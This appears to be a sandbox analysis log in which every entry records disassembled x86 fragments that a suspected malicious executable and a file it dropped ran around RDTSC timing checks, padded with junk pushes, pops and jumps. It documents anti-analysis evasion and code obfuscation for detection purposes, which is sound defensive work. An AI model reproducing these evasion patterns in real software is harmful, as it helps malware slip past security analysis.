Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51608A1 second address: 516091F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5E873B160h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a test al, al 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FD5E873B15Eh 0x00000013 xor eax, 63740F38h 0x00000019 jmp 00007FD5E873B15Bh 0x0000001e popfd 0x0000001f mov ebx, esi 0x00000021 popad 0x00000022 jne 00007FD6598032F8h 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b mov edx, 5FAADFB2h 0x00000030 pushfd 0x00000031 jmp 00007FD5E873B163h 0x00000036 xor cx, E9AEh 0x0000003b jmp 00007FD5E873B169h 0x00000040 popfd 0x00000041 popad 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516091F second address: 5160924 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160924 second address: 5160963 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov bx, 0A10h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, edx 0x0000000d jmp 00007FD5E873B15Fh 0x00000012 shr ecx, 02h 0x00000015 pushad 0x00000016 push ecx 0x00000017 mov si, di 0x0000001a pop ebx 0x0000001b mov di, si 0x0000001e popad 0x0000001f rep movsd 0x00000021 rep movsd 0x00000023 rep movsd 0x00000025 rep movsd 0x00000027 rep movsd 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FD5E873B160h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160963 second address: 5160972 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5E8DE155Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160972 second address: 5160978 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160978 second address: 516097C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516097C second address: 5160980 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160980 second address: 51609B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, edx 0x0000000a jmp 00007FD5E8DE1567h 0x0000000f and ecx, 03h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 call 00007FD5E8DE155Bh 0x0000001a pop ecx 0x0000001b push ebx 0x0000001c pop esi 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51609B6 second address: 5160A39 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5E873B162h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rep movsb 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FD5E873B15Eh 0x00000012 sbb eax, 366ED7D8h 0x00000018 jmp 00007FD5E873B15Bh 0x0000001d popfd 0x0000001e mov eax, 73432E8Fh 0x00000023 popad 0x00000024 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007FD5E873B160h 0x00000032 sbb al, 00000038h 0x00000035 jmp 00007FD5E873B15Bh 0x0000003a popfd 0x0000003b mov ecx, 3B5B206Fh 0x00000040 popad 0x00000041 mov eax, ebx 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007FD5E873B161h 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160A39 second address: 5160AEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007FD5E8DE155Dh 0x0000000b sub ecx, 521F8B86h 0x00000011 jmp 00007FD5E8DE1561h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov ecx, dword ptr [ebp-10h] 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007FD5E8DE155Ch 0x00000024 or esi, 46E0DE28h 0x0000002a jmp 00007FD5E8DE155Bh 0x0000002f popfd 0x00000030 jmp 00007FD5E8DE1568h 0x00000035 popad 0x00000036 mov dword ptr fs:[00000000h], ecx 0x0000003d jmp 00007FD5E8DE1560h 0x00000042 pop ecx 0x00000043 pushad 0x00000044 mov ecx, 442FC1CDh 0x00000049 push eax 0x0000004a push edx 0x0000004b pushfd 0x0000004c jmp 00007FD5E8DE1568h 0x00000051 and esi, 49FEE618h 0x00000057 jmp 00007FD5E8DE155Bh 0x0000005c popfd 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160AEE second address: 5160B53 instructions: 0x00000000 rdtsc 0x00000002 mov si, 69CFh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pop edi 0x0000000a pushad 0x0000000b mov edx, eax 0x0000000d pushfd 0x0000000e jmp 00007FD5E873B15Ch 0x00000013 xor esi, 77E75078h 0x00000019 jmp 00007FD5E873B15Bh 0x0000001e popfd 0x0000001f popad 0x00000020 pop esi 0x00000021 pushad 0x00000022 movzx esi, dx 0x00000025 pushfd 0x00000026 jmp 00007FD5E873B161h 0x0000002b sbb eax, 3CB1D916h 0x00000031 jmp 00007FD5E873B161h 0x00000036 popfd 0x00000037 popad 0x00000038 pop ebx 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c movsx edi, cx 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160B53 second address: 5160B59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160B59 second address: 5160B7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 leave 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c call 00007FD5E873B167h 0x00000011 pop eax 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160B7E second address: 5160B84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160B84 second address: 51605B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5E873B160h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b retn 0008h 0x0000000e cmp dword ptr [ebp-2Ch], 10h 0x00000012 mov eax, dword ptr [ebp-40h] 0x00000015 jnc 00007FD5E873B155h 0x00000017 push eax 0x00000018 lea edx, dword ptr [ebp-00000590h] 0x0000001e push edx 0x0000001f call esi 0x00000021 push 00000008h 0x00000023 pushad 0x00000024 mov bx, ax 0x00000027 popad 0x00000028 push 04F7018Ch 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 mov cx, bx 0x00000033 mov edx, 5B56141Eh 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160C5D second address: 5160C9A instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FD5E8DE1562h 0x00000008 and eax, 57408D08h 0x0000000e jmp 00007FD5E8DE155Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b jmp 00007FD5E8DE155Bh 0x00000020 movzx esi, dx 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160C9A second address: 5160CEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD5E873B160h 0x00000009 and eax, 7E394298h 0x0000000f jmp 00007FD5E873B15Bh 0x00000014 popfd 0x00000015 jmp 00007FD5E873B168h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FD5E873B15Eh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160CEC second address: 5160CFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov bl, 3Fh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160CFD second address: 5160D01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160D01 second address: 5160D05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160D05 second address: 5160D0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160D0B second address: 5160D28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD5E8DE1569h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: DFE9E1 second address: DFE9E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: DFE9E5 second address: DFE9FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jbe 00007FD5E8DE1556h 0x0000000d pop edx 0x0000000e popad 0x0000000f push eax 0x00000010 jbe 00007FD5E8DE155Eh 0x00000016 push ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: F81D88 second address: F81D8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: F81D8E second address: F81D98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FD5E8DE1556h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: F81D98 second address: F81D9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: F8205D second address: F82069 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jc 00007FD5E8DE1556h 0x0000000c rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: F82069 second address: F8206D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: F8524D second address: F852BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 add dword ptr [esp], 6CFA548Fh 0x0000000e mov edx, dword ptr [ebp+122D1C57h] 0x00000014 call 00007FD5E8DE155Bh 0x00000019 and ecx, dword ptr [ebp+122D38AFh] 0x0000001f pop edi 0x00000020 push 00000003h 0x00000022 mov edi, dword ptr [ebp+122D36E3h] 0x00000028 cmc 0x00000029 push 00000000h 0x0000002b mov esi, ecx 0x0000002d push 00000003h 0x0000002f push 00000000h 0x00000031 push esi 0x00000032 call 00007FD5E8DE1558h 0x00000037 pop esi 0x00000038 mov dword ptr [esp+04h], esi 0x0000003c add dword ptr [esp+04h], 00000019h 0x00000044 inc esi 0x00000045 push esi 0x00000046 ret 0x00000047 pop esi 0x00000048 ret 0x00000049 mov edx, 3CCC23C2h 0x0000004e call 00007FD5E8DE1559h 0x00000053 push eax 0x00000054 push edx 0x00000055 jo 00007FD5E8DE1558h 0x0000005b push edi 0x0000005c pop edi 0x0000005d rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: F852BB second address: F852DB instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD5E873B166h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: F852DB second address: F852E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: F852E0 second address: F85314 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jnp 00007FD5E873B156h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 jmp 00007FD5E873B167h 0x00000017 mov eax, dword ptr [eax] 0x00000019 pushad 0x0000001a jbe 00007FD5E873B15Ch 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: F85314 second address: F8533F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD5E8DE155Dh 0x00000009 popad 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 jmp 00007FD5E8DE1561h 0x00000016 pop edi 0x00000017 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: F8533F second address: F85392 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD5E873B158h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d jne 00007FD5E873B16Eh 0x00000013 lea ebx, dword ptr [ebp+1245A0D1h] 0x00000019 push 00000000h 0x0000001b push esi 0x0000001c call 00007FD5E873B158h 0x00000021 pop esi 0x00000022 mov dword ptr [esp+04h], esi 0x00000026 add dword ptr [esp+04h], 00000014h 0x0000002e inc esi 0x0000002f push esi 0x00000030 ret 0x00000031 pop esi 0x00000032 ret 0x00000033 xchg eax, ebx 0x00000034 push esi 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: F85392 second address: F85396 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: F85396 second address: F8539A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: F85479 second address: F8548F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD5E8DE1562h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: F8548F second address: F8549E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: F8549E second address: F854A4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: F854A4 second address: F854BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD5E873B164h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: F854BC second address: F854E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5E8DE1562h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jng 00007FD5E8DE155Eh 0x00000015 push ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: F854E1 second address: F85502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov eax, dword ptr [eax] 0x00000007 push esi 0x00000008 jc 00007FD5E873B15Ch 0x0000000e jl 00007FD5E873B156h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c push eax 0x0000001d pop eax 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: F85502 second address: F85510 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD5E8DE155Ah 0x00000009 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: F8573D second address: F85741 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: F85741 second address: F8574F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007FD5E8DE1556h 0x0000000e rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: F8574F second address: F8577C instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD5E873B156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b add dword ptr [esp], 4BE5060Eh 0x00000012 sub cx, 67B0h 0x00000017 lea ebx, dword ptr [ebp+1245A0E5h] 0x0000001d mov edx, dword ptr [ebp+122D35AFh] 0x00000023 xchg eax, ebx 0x00000024 push esi 0x00000025 jg 00007FD5E873B15Ch 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: F8577C second address: F8578A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push esi 0x0000000c pop esi 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: F970E8 second address: F970F2 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD5E873B156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FA5168 second address: FA516C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: F7CBA3 second address: F7CBB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007FD5E873B156h 0x0000000f jo 00007FD5E873B156h 0x00000015 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: F7CBB8 second address: F7CBC2 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD5E8DE1556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: F7CBC2 second address: F7CBE0 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD5E873B170h 0x00000008 jmp 00007FD5E873B164h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FA2FF5 second address: FA300F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 jmp 00007FD5E8DE1564h 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FA300F second address: FA3020 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jo 00007FD5E873B156h 0x00000011 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FA3020 second address: FA3024 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FA3024 second address: FA3039 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jne 00007FD5E873B156h 0x0000000d pushad 0x0000000e popad 0x0000000f push esi 0x00000010 pop esi 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FA317B second address: FA31B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD5E8DE1562h 0x00000007 jne 00007FD5E8DE1556h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FD5E8DE1568h 0x00000016 push ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FA31B4 second address: FA31B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FA357E second address: FA3584 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FA3584 second address: FA359E instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD5E873B156h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jbe 00007FD5E873B162h 0x00000012 jnp 00007FD5E873B156h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FA359E second address: FA35B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FD5E8DE1558h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 jp 00007FD5E8DE1556h 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FA3702 second address: FA3712 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FD5E873B158h 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FA386D second address: FA3872 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FA3B8D second address: FA3B91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FA3F47 second address: FA3F68 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD5E8DE1556h 0x00000008 jmp 00007FD5E8DE155Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jo 00007FD5E8DE1556h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FA3F68 second address: FA3F7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 jp 00007FD5E873B16Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007FD5E873B156h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: F9BC62 second address: F9BC91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FD5E8DE1556h 0x0000000a popad 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD5E8DE1569h 0x00000013 jnp 00007FD5E8DE155Eh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: F9BC91 second address: F9BC97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FA497B second address: FA499A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD5E8DE155Ah 0x00000009 jmp 00007FD5E8DE1561h 0x0000000e rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FA499A second address: FA49B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007FD5E873B15Ch 0x00000010 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FA4B3C second address: FA4B4C instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD5E8DE1562h 0x00000008 jnl 00007FD5E8DE1556h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FA4CE7 second address: FA4CEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FA4CEB second address: FA4CEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsBAEHIEBGHD.exe	RDTSC instruction interceptor: First address: FA4CEF second address: FA4CFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
